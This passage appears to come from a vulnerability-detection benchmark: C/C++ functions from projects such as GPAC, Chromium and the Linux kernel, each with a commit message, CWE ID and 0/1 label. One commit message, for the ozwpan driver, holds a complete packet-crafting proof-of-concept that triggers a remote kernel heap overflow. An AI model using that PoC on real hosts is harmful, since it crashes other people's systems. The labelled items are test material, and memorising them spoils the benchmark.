FT_Done_Glyph( glyph );
goto Next;
}
error = FTDemo_Draw_Glyph( handle, display, glyph, &x, &y );
FT_Done_Glyph( glyph );
if ( error )
status.Fail++;
else if ( X_TOO_LONG( x, size, display ) )
{
x = start_x;
y += step_y;
if ( Y_TOO_LONG( y, size, display ) )
break;
}
}
else
{
Next:
status.Fail++;
}
i++;
}
Exit:
if ( stroker )
FT_Stroker_Done( stroker );
return error;
}
Commit Message:
CWE ID: CWE-119
| 0
| 10,056
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GF_Err snro_dump(GF_Box *a, FILE * trace)
{
GF_SeqOffHintEntryBox *p;
p = (GF_SeqOffHintEntryBox *)a;
gf_isom_box_dump_start(a, "PacketSequenceOffsetBox", trace);
fprintf(trace, "SeqNumOffset=\"%d\">\n", p->SeqOffset);
gf_isom_box_dump_done("PacketSequenceOffsetBox", a, trace);
return GF_OK;
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125
| 0
| 80,845
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void server_change_nick(SERVER_REC *server, const char *nick)
{
g_free(server->nick);
server->nick = g_strdup(nick);
signal_emit("server nick changed", 1, server);
}
Commit Message: Check if an SSL certificate matches the hostname of the server we are connecting to
git-svn-id: http://svn.irssi.org/repos/irssi/trunk@5104 dbcabf3a-b0e7-0310-adc4-f8d773084564
CWE ID: CWE-20
| 0
| 18,194
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void BrowserViewRenderer::CalculateTileMemoryPolicy() {
base::CommandLine* cl = base::CommandLine::ForCurrentProcess();
bool client_hard_limit_bytes_overridden =
cl->HasSwitch(switches::kForceGpuMemAvailableMb);
if (client_hard_limit_bytes_overridden) {
base::StringToUint64(
base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
switches::kForceGpuMemAvailableMb),
&g_memory_override_in_bytes);
g_memory_override_in_bytes *= 1024 * 1024;
}
}
Commit Message: sync compositor: pass simple gfx types by const ref
See bug for reasoning
BUG=159273
Review URL: https://codereview.chromium.org/1417893006
Cr-Commit-Position: refs/heads/master@{#356653}
CWE ID: CWE-399
| 0
| 119,509
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SECURITY_STATUS SEC_ENTRY QueryCredentialsAttributesA(PCredHandle phCredential, ULONG ulAttribute, void* pBuffer)
{
char* Name;
SECURITY_STATUS status;
SecurityFunctionTableA* table;
Name = (char*) sspi_SecureHandleGetUpperPointer(phCredential);
if (!Name)
return SEC_E_SECPKG_NOT_FOUND;
table = sspi_GetSecurityFunctionTableAByNameA(Name);
if (!table)
return SEC_E_SECPKG_NOT_FOUND;
if (table->QueryCredentialsAttributesA == NULL)
return SEC_E_UNSUPPORTED_FUNCTION;
status = table->QueryCredentialsAttributesA(phCredential, ulAttribute, pBuffer);
return status;
}
Commit Message: nla: invalidate sec handle after creation
If sec pointer isn't invalidated after creation it is not possible
to check if the upper and lower pointers are valid.
This fixes a segfault in the server part if the client disconnects before
the authentication was finished.
CWE ID: CWE-476
| 0
| 58,593
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool CheckMenuItem(int depth, const PP_Flash_MenuItem* item) {
if (item->type == PP_FLASH_MENUITEM_TYPE_SUBMENU)
return CheckMenu(depth, item->submenu);
return true;
}
Commit Message: IPC: defend against excessive number of submenu entries in PPAPI message.
BUG=168710
Review URL: https://codereview.chromium.org/11794037
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@175576 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 115,220
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void svcinfo_death(struct binder_state *bs, void *ptr)
{
struct svcinfo *si = (struct svcinfo* ) ptr;
ALOGI("service '%s' died\n", str8(si->name, si->len));
if (si->handle) {
binder_release(bs, si->handle);
si->handle = 0;
}
}
Commit Message: ServiceManager: Allow system services running as secondary users to add services
This should be reverted when all system services have been cleaned up to not
do this. A process looking up a service while running in the background will
see the service registered by the active user (assuming the service is
registered on every user switch), not the service registered by the user that
the process itself belongs to.
BUG: 30795333
Change-Id: I1b74d58be38ed358f43c163692f9e704f8f31dbe
(cherry picked from commit e6bbe69ba739c8a08837134437aaccfea5f1d943)
CWE ID: CWE-264
| 0
| 158,127
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: mrb_f_block_given_p_m(mrb_state *mrb, mrb_value self)
{
mrb_callinfo *ci = &mrb->c->ci[-1];
mrb_callinfo *cibase = mrb->c->cibase;
mrb_value *bp;
struct RProc *p;
if (ci <= cibase) {
/* toplevel does not have block */
return mrb_false_value();
}
p = ci->proc;
/* search method/class/module proc */
while (p) {
if (MRB_PROC_SCOPE_P(p)) break;
p = p->upper;
}
if (p == NULL) return mrb_false_value();
/* search ci corresponding to proc */
while (cibase < ci) {
if (ci->proc == p) break;
ci--;
}
if (ci == cibase) {
return mrb_false_value();
}
else if (ci->env) {
struct REnv *e = ci->env;
int bidx;
/* top-level does not have block slot (always false) */
if (e->stack == mrb->c->stbase)
return mrb_false_value();
/* use saved block arg position */
bidx = MRB_ENV_BIDX(e);
/* bidx may be useless (e.g. define_method) */
if (bidx >= MRB_ENV_STACK_LEN(e))
return mrb_false_value();
bp = &e->stack[bidx];
}
else {
bp = ci[1].stackent+1;
if (ci->argc >= 0) {
bp += ci->argc;
}
else {
bp++;
}
}
if (mrb_nil_p(*bp))
return mrb_false_value();
return mrb_true_value();
}
Commit Message: Allow `Object#clone` to copy frozen status only; fix #4036
Copying all flags from the original object may overwrite the clone's
flags e.g. the embedded flag.
CWE ID: CWE-476
| 0
| 82,176
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static u32 perf_event_tid(struct perf_event *event, struct task_struct *p)
{
/*
* only top level events have the pid namespace they were created in
*/
if (event->parent)
event = event->parent;
return task_pid_nr_ns(p, event->ns);
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Michael Cree <mcree@orcon.net.nz>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Deng-Cheng Zhu <dengcheng.zhu@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Eric B Munson <emunson@mgebm.net>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: David S. Miller <davem@davemloft.net>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jason Wessel <jason.wessel@windriver.com>
Cc: Don Zickus <dzickus@redhat.com>
Link: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-399
| 0
| 26,117
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: input_userauth_ext_info(int type, u_int32_t seqnr, void *ctxt)
{
return kex_input_ext_info(type, seqnr, active_state);
}
Commit Message: Remove support for pre-authentication compression. Doing compression
early in the protocol probably seemed reasonable in the 1990s, but
today it's clearly a bad idea in terms of both cryptography (cf.
multiple compression oracle attacks in TLS) and attack surface.
Moreover, to support it across privilege-separation zlib needed
the assistance of a complex shared-memory manager that made the
required attack surface considerably larger.
Prompted by Guido Vranken pointing out a compiler-elided security
check in the shared memory manager found by Stack
(http://css.csail.mit.edu/stack/); ok deraadt@ markus@
NB. pre-auth authentication has been disabled by default in sshd
for >10 years.
CWE ID: CWE-119
| 0
| 72,246
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static enum oom_constraint constrained_alloc(struct zonelist *zonelist,
gfp_t gfp_mask, nodemask_t *nodemask,
unsigned long *totalpages)
{
struct zone *zone;
struct zoneref *z;
enum zone_type high_zoneidx = gfp_zone(gfp_mask);
bool cpuset_limited = false;
int nid;
/* Default to all available memory */
*totalpages = totalram_pages + total_swap_pages;
if (!zonelist)
return CONSTRAINT_NONE;
/*
* Reach here only when __GFP_NOFAIL is used. So, we should avoid
* to kill current.We have to random task kill in this case.
* Hopefully, CONSTRAINT_THISNODE...but no way to handle it, now.
*/
if (gfp_mask & __GFP_THISNODE)
return CONSTRAINT_NONE;
/*
* This is not a __GFP_THISNODE allocation, so a truncated nodemask in
* the page allocator means a mempolicy is in effect. Cpuset policy
* is enforced in get_page_from_freelist().
*/
if (nodemask && !nodes_subset(node_states[N_HIGH_MEMORY], *nodemask)) {
*totalpages = total_swap_pages;
for_each_node_mask(nid, *nodemask)
*totalpages += node_spanned_pages(nid);
return CONSTRAINT_MEMORY_POLICY;
}
/* Check this allocation failure is caused by cpuset's wall function */
for_each_zone_zonelist_nodemask(zone, z, zonelist,
high_zoneidx, nodemask)
if (!cpuset_zone_allowed_softwall(zone, gfp_mask))
cpuset_limited = true;
if (cpuset_limited) {
*totalpages = total_swap_pages;
for_each_node_mask(nid, cpuset_current_mems_allowed)
*totalpages += node_spanned_pages(nid);
return CONSTRAINT_CPUSET;
}
return CONSTRAINT_NONE;
}
Commit Message: oom: fix integer overflow of points in oom_badness
commit ff05b6f7ae762b6eb464183eec994b28ea09f6dd upstream.
An integer overflow will happen on 64bit archs if task's sum of rss,
swapents and nr_ptes exceeds (2^31)/1000 value. This was introduced by
commit
f755a04 oom: use pte pages in OOM score
where the oom score computation was divided into several steps and it's no
longer computed as one expression in unsigned long(rss, swapents, nr_pte
are unsigned long), where the result value assigned to points(int) is in
range(1..1000). So there could be an int overflow while computing
176 points *= 1000;
and points may have negative value. Meaning the oom score for a mem hog task
will be one.
196 if (points <= 0)
197 return 1;
For example:
[ 3366] 0 3366 35390480 24303939 5 0 0 oom01
Out of memory: Kill process 3366 (oom01) score 1 or sacrifice child
Here the oom1 process consumes more than 24303939(rss)*4096~=92GB physical
memory, but it's oom score is one.
In this situation the mem hog task is skipped and oom killer kills another and
most probably innocent task with oom score greater than one.
The points variable should be of type long instead of int to prevent the
int overflow.
Signed-off-by: Frantisek Hrbata <fhrbata@redhat.com>
Acked-by: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Acked-by: Oleg Nesterov <oleg@redhat.com>
Acked-by: David Rientjes <rientjes@google.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
CWE ID: CWE-189
| 0
| 24,343
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GF_Err dac3_Write(GF_Box *s, GF_BitStream *bs)
{
GF_Err e;
GF_AC3ConfigBox *ptr = (GF_AC3ConfigBox *)s;
if (ptr->cfg.is_ec3) s->type = GF_ISOM_BOX_TYPE_DEC3;
e = gf_isom_box_write_header(s, bs);
if (ptr->cfg.is_ec3) s->type = GF_ISOM_BOX_TYPE_DAC3;
if (e) return e;
if (ptr->cfg.is_ec3) {
u32 i;
gf_bs_write_int(bs, ptr->cfg.brcode, 13);
gf_bs_write_int(bs, ptr->cfg.nb_streams - 1, 3);
for (i=0; i<ptr->cfg.nb_streams; i++) {
gf_bs_write_int(bs, ptr->cfg.streams[i].fscod, 2);
gf_bs_write_int(bs, ptr->cfg.streams[i].bsid, 5);
gf_bs_write_int(bs, ptr->cfg.streams[i].bsmod, 5);
gf_bs_write_int(bs, ptr->cfg.streams[i].acmod, 3);
gf_bs_write_int(bs, ptr->cfg.streams[i].lfon, 1);
gf_bs_write_int(bs, 0, 3);
gf_bs_write_int(bs, ptr->cfg.streams[i].nb_dep_sub, 4);
if (ptr->cfg.streams[i].nb_dep_sub) {
gf_bs_write_int(bs, ptr->cfg.streams[i].chan_loc, 9);
} else {
gf_bs_write_int(bs, 0, 1);
}
}
} else {
gf_bs_write_int(bs, ptr->cfg.streams[0].fscod, 2);
gf_bs_write_int(bs, ptr->cfg.streams[0].bsid, 5);
gf_bs_write_int(bs, ptr->cfg.streams[0].bsmod, 3);
gf_bs_write_int(bs, ptr->cfg.streams[0].acmod, 3);
gf_bs_write_int(bs, ptr->cfg.streams[0].lfon, 1);
gf_bs_write_int(bs, ptr->cfg.brcode, 5);
gf_bs_write_int(bs, 0, 5);
}
return GF_OK;
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125
| 0
| 80,038
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void longLongAttributeAttributeGetterCallback(v8::Local<v8::String>, const v8::PropertyCallbackInfo<v8::Value>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMGetter");
TestObjectPythonV8Internal::longLongAttributeAttributeGetter(info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 122,391
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int write_mmio(struct kvm_vcpu *vcpu, gpa_t gpa, int bytes, void *val)
{
trace_kvm_mmio(KVM_TRACE_MMIO_WRITE, bytes, gpa, *(u64 *)val);
return vcpu_mmio_write(vcpu, gpa, bytes, val);
}
Commit Message: KVM: Ensure all vcpus are consistent with in-kernel irqchip settings
(cherry picked from commit 3e515705a1f46beb1c942bb8043c16f8ac7b1e9e)
If some vcpus are created before KVM_CREATE_IRQCHIP, then
irqchip_in_kernel() and vcpu->arch.apic will be inconsistent, leading
to potential NULL pointer dereferences.
Fix by:
- ensuring that no vcpus are installed when KVM_CREATE_IRQCHIP is called
- ensuring that a vcpu has an apic if it is installed after KVM_CREATE_IRQCHIP
This is somewhat long winded because vcpu->arch.apic is created without
kvm->lock held.
Based on earlier patch by Michael Ellerman.
Signed-off-by: Michael Ellerman <michael@ellerman.id.au>
Signed-off-by: Avi Kivity <avi@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-399
| 0
| 20,899
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DevToolsUIBindings::AttachTo(
const scoped_refptr<content::DevToolsAgentHost>& agent_host) {
if (agent_host_.get())
Detach();
agent_host_ = agent_host;
agent_host_->ForceAttachClient(this);
}
Commit Message: DevTools: move front-end URL handling to DevToolsUIBindingds
BUG=662859
Review-Url: https://codereview.chromium.org/2607833002
Cr-Commit-Position: refs/heads/master@{#440926}
CWE ID: CWE-200
| 0
| 138,289
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: application_unhandled_file_install (GtkDialog *dialog,
gint response_id,
ActivateParametersInstall *parameters_install)
{
char *mime_type;
gtk_widget_destroy (GTK_WIDGET (dialog));
parameters_install->dialog = NULL;
if (response_id == GTK_RESPONSE_YES)
{
mime_type = nautilus_file_get_mime_type (parameters_install->file);
search_for_application_mime_type (parameters_install, mime_type);
g_free (mime_type);
}
else
{
/* free as we're not going to get the async dbus callback */
activate_parameters_install_free (parameters_install);
}
}
Commit Message: mime-actions: use file metadata for trusting desktop files
Currently we only trust desktop files that have the executable bit
set, and don't replace the displayed icon or the displayed name until
it's trusted, which prevents for running random programs by a malicious
desktop file.
However, the executable permission is preserved if the desktop file
comes from a compressed file.
To prevent this, add a metadata::trusted metadata to the file once the
user acknowledges the file as trusted. This adds metadata to the file,
which cannot be added unless it has access to the computer.
Also remove the SHEBANG "trusted" content we were putting inside the
desktop file, since that doesn't add more security since it can come
with the file itself.
https://bugzilla.gnome.org/show_bug.cgi?id=777991
CWE ID: CWE-20
| 0
| 61,175
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int gdImageColorResolve (gdImagePtr im, int r, int g, int b)
{
return gdImageColorResolveAlpha(im, r, g, b, gdAlphaOpaque);
}
Commit Message: iFixed bug #72446 - Integer Overflow in gdImagePaletteToTrueColor() resulting in heap overflow
CWE ID: CWE-190
| 0
| 51,428
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int SocketStream::DoResolveHost() {
next_state_ = STATE_RESOLVE_HOST_COMPLETE;
DCHECK(!proxy_info_.is_empty());
if (proxy_info_.is_direct())
proxy_mode_ = kDirectConnection;
else if (proxy_info_.proxy_server().is_socks())
proxy_mode_ = kSOCKSProxy;
else
proxy_mode_ = kTunnelProxy;
HostPortPair host_port_pair;
if (proxy_mode_ != kDirectConnection) {
host_port_pair = proxy_info_.proxy_server().host_port_pair();
} else {
host_port_pair = HostPortPair::FromURL(url_);
}
HostResolver::RequestInfo resolve_info(host_port_pair);
DCHECK(context_->host_resolver());
resolver_.reset(new SingleRequestHostResolver(context_->host_resolver()));
return resolver_->Resolve(
resolve_info, &addresses_, base::Bind(&SocketStream::OnIOCompleted, this),
net_log_);
}
Commit Message: Revert a workaround commit for a Use-After-Free crash.
Revert a workaround commit r20158 for a Use-After-Free issue (http://crbug.com/244746) because a cleaner CL r207218 is landed.
URLRequestContext does not inherit SupportsWeakPtr now.
R=mmenke
BUG=244746
Review URL: https://chromiumcodereview.appspot.com/16870008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@207811 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 112,680
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ExtensionInfo::~ExtensionInfo() {}
Commit Message: Extend TTS extension API to support richer events returned from the engine
to the client. Previously we just had a completed event; this adds start,
word boundary, sentence boundary, and marker boundary. In addition,
interrupted and canceled, which were previously errors, now become events.
Mac and Windows implementations extended to support as many of these events
as possible.
BUG=67713
BUG=70198
BUG=75106
BUG=83404
TEST=Updates all TTS API tests to be event-based, and adds new tests.
Review URL: http://codereview.chromium.org/6792014
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@91665 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 99,785
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: StorageHandler::IndexedDBObserver* StorageHandler::GetIndexedDBObserver() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
if (!indexed_db_observer_) {
indexed_db_observer_ = std::make_unique<IndexedDBObserver>(
weak_ptr_factory_.GetWeakPtr(),
static_cast<IndexedDBContextImpl*>(
process_->GetStoragePartition()->GetIndexedDBContext()));
}
return indexed_db_observer_.get();
}
Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#531157}
CWE ID: CWE-20
| 1
| 172,772
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int UDPSocketLibevent::Write(IOBuffer* buf,
int buf_len,
const CompletionCallback& callback) {
return SendToOrWrite(buf, buf_len, NULL, callback);
}
Commit Message: Map posix error codes in bind better, and fix one windows mapping.
r=wtc
BUG=330233
Review URL: https://codereview.chromium.org/101193008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@242224 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-416
| 0
| 113,429
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: json_each_text(PG_FUNCTION_ARGS)
{
return each_worker(fcinfo, true);
}
Commit Message:
CWE ID: CWE-119
| 0
| 2,603
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int _waiter_init (uint32_t jobid)
{
if (!waiters)
waiters = list_create((ListDelF) _waiter_destroy);
/*
* Exit this thread if another thread is waiting on job
*/
if (list_find_first (waiters, (ListFindF) _find_waiter, &jobid))
return SLURM_ERROR;
else
list_append(waiters, _waiter_create(jobid));
return (SLURM_SUCCESS);
}
Commit Message: Fix security issue in _prolog_error().
Fix security issue caused by insecure file path handling triggered by
the failure of a Prolog script. To exploit this a user needs to
anticipate or cause the Prolog to fail for their job.
(This commit is slightly different from the fix to the 15.08 branch.)
CVE-2016-10030.
CWE ID: CWE-284
| 0
| 72,164
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int amd_gpio_direction_input(struct gpio_chip *gc, unsigned offset)
{
unsigned long flags;
u32 pin_reg;
struct amd_gpio *gpio_dev = gpiochip_get_data(gc);
spin_lock_irqsave(&gpio_dev->lock, flags);
pin_reg = readl(gpio_dev->base + offset * 4);
pin_reg &= ~BIT(OUTPUT_ENABLE_OFF);
writel(pin_reg, gpio_dev->base + offset * 4);
spin_unlock_irqrestore(&gpio_dev->lock, flags);
return 0;
}
Commit Message: pinctrl/amd: Drop pinctrl_unregister for devm_ registered device
It's not necessary to unregister pin controller device registered
with devm_pinctrl_register() and using pinctrl_unregister() leads
to a double free.
Fixes: 3bfd44306c65 ("pinctrl: amd: Add support for additional GPIO")
Signed-off-by: Wei Yongjun <weiyongjun1@huawei.com>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
CWE ID: CWE-415
| 0
| 86,157
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static trans_t* AllocTrans( char *original, char *translated[MAX_LANGUAGES] ) {
trans_t *t;
int i;
t = malloc( sizeof( trans_t ) );
memset( t, 0, sizeof( trans_t ) );
if ( original ) {
strncpy( t->original, original, MAX_TRANS_STRING );
}
if ( translated ) {
for ( i = 0; i < MAX_LANGUAGES; i++ )
strncpy( t->translated[i], translated[i], MAX_TRANS_STRING );
}
return t;
}
Commit Message: All: Don't load .pk3s as .dlls, and don't load user config files from .pk3s
CWE ID: CWE-269
| 0
| 95,636
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void oz_hcd_endpoint_reset(struct usb_hcd *hcd,
struct usb_host_endpoint *ep)
{
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 43,184
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Document::resetLastHandledUserGestureTimestamp()
{
m_lastHandledUserGestureTimestamp = currentTime();
}
Commit Message: Refactoring: Move m_mayDisplaySeamlesslyWithParent down to Document
The member is used only in Document, thus no reason to
stay in SecurityContext.
TEST=none
BUG=none
R=haraken@chromium.org, abarth, haraken, hayato
Review URL: https://codereview.chromium.org/27615003
git-svn-id: svn://svn.chromium.org/blink/trunk@159829 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
| 0
| 102,838
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
